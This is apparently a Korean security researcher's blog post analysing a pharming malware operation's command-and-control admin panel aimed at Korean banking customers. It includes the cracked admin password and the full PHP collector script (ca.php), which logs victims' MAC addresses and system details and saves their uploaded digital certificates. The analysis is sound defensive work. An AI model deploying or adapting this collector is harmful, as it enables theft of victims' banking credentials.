apmsetup 7을 이용해 간단히 디비와 아파치, php7버전을 설치 후 테스트를 해본다.
이전에는 더 구형이 있었고 해당 구형은 php5에서 돌아가는걸로 기억하는데 찾아보고 한번 더 써보는걸로 해야겠다.
가장 최근에 남겨놓은 2017년 06일자 C&C 관리자 페이지 플랫폼이다.
악성코드 공격 후 파밍에 감염된 사람들을 보고 관리할 수 있도록 만들어져 있다.
파밍악성코드에 ca.php로 전달돼는 파라미터들이 전부 C&C로 전송돼어 정보를 디비에 담는걸로 돼어있다.
해당 디비 구조는 sql로 덤프된 파일이 포함되어있어 간단히 import해주면 됬다.
공격자도 사람인지라 귀찮은가보다.
해당 해시는 "e9dd99189ea24cf7b2ce2cbca5ea65f6" 구글에 MD5 시트검색해보니 qwqw1212라 나오더라
얘네는 예전부터 변하는게 별로없다.
config.inc파일 또한 수정해본다.
공인인증서는 파밍 악성코드에서 request하여 ca.php에 맥어드레스와 공인인증서가 전송된다.
파라미터마다 다르게 받도록 코딩되어 있는데, 아래 전체코드를 참고해보도록 하자
<?php $r='../zswj';//证书文件夹路径 if(!is_dir($r))mkdir($r,0777); $ip=$_SERVER["REMOTE_ADDR"]; if(isset($_GET['m'])){ include 'test.php'; //$ip=$_SERVER["REMOTE_ADDR"]; $mac=$_GET["m"]; $mac=base64_decode(hexToStr($mac)); if(strstr($mac,"-")=="")exit; //if(strpos($mac,":"))$mac_=str_replace(":", "", $mac); $mac_=str_replace("-", "", $mac); if(strlen($mac_)!=12) exit; if(ctype_alnum($mac_)!=1) exit; if(isset($_GET['h']))$area=$_GET['h']; if(is_numeric($area)!=1) exit; $os=getOS(); date_default_timezone_set('PRC'); $date = date("Y-m-d"); $time = date("H:i:s"); $pdo = new PDO("sqlite:tj_db.db"); $s="SELECT * FROM `count` WHERE `ip` = '".$ip."'"; $con = $pdo->query($s); $ca = $con->fetchALL(); $con = $pdo->query($s); $ca_ = $con->fetch(); if(count($ca) == 1){ $_ip = $ca_['ip']; $_os = $ca_['os']; $_mac = $ca_['mac']; $_date = $ca_['date']; $_time = $ca_['time']; $_date_ = $ca_['date_']; $_time_ = $ca_['time_']; $_area = $ca_['area']; if($date==$_date)exit; $sql = "UPDATE `count` SET `date_` = '".$date."' WHERE `count`.`ip` = '".$_ip."' AND `count`.`mac` = '".$_mac."' AND `count`.`os` = '".$_os."' AND `count`.`date` = '".$_date."' AND `count`.`time` = '".$_time."' AND `count`.`date_` = '".$_date_."' AND `count`.`time_` = '".$_time_."' AND `count`.`area` = '".$_area."';"; $count = $pdo->exec($sql); echo "yes";//////////// echo $count;/////////// } else{ $sql = "INSERT INTO `count` (`ip`, `mac`, `os`, `date`, `time`, `date_`, `time_`, `area`) VALUES ('".$ip."', '".$mac."', '".$os."', '".$date."','".$time."','".$date."','".$time."','".$area."')"; $count = $pdo->exec($sql); echo "good";///////////////// echo $count;//////////// } exit(); } if(isset($_GET['p'])){ $rou=$r."/".$ip; if(!is_dir($rou))mkdir($rou,0777); $rou=$rou."/".date("YmdHis").".zip"; $data = $GLOBALS[HTTP_RAW_POST_DATA]; if(empty($data)) $data = file_get_contents('php://input'); $file = fopen($rou,"w"); fwrite($file,$data); fclose($file); } ?> |
Get방식으로 m에는 base64로 구성된 내용인 것을 알 수 있다.
h변수의 내용을 풀면 날짜, 시간, os정보, 네트워크 정보등이 담겨있을 것 이다.
마지막으로 p변수에 공인인증서가 zip로 묶여 업로드되는것을 볼 수 있다.
파밍에 감염 후 아래와 같은 사이트에 접근하면 해당 사이트는 신한은행 파밍사이트처럼 보이게된다.
무엇을 누르든 같은 결과....
네이버 폴더에는 오랫만에 볼 수 있는 플로팅 배너가 있다
해당 관리자 페이지에 대한 소스는 악용의 소지가 있어 공유를 함부로 할 수 없을 것 같다.
덧글이라도 남겨지면 공유해봄직하다.
다음에는 다른 종류의 페이지를 알아보도록 하자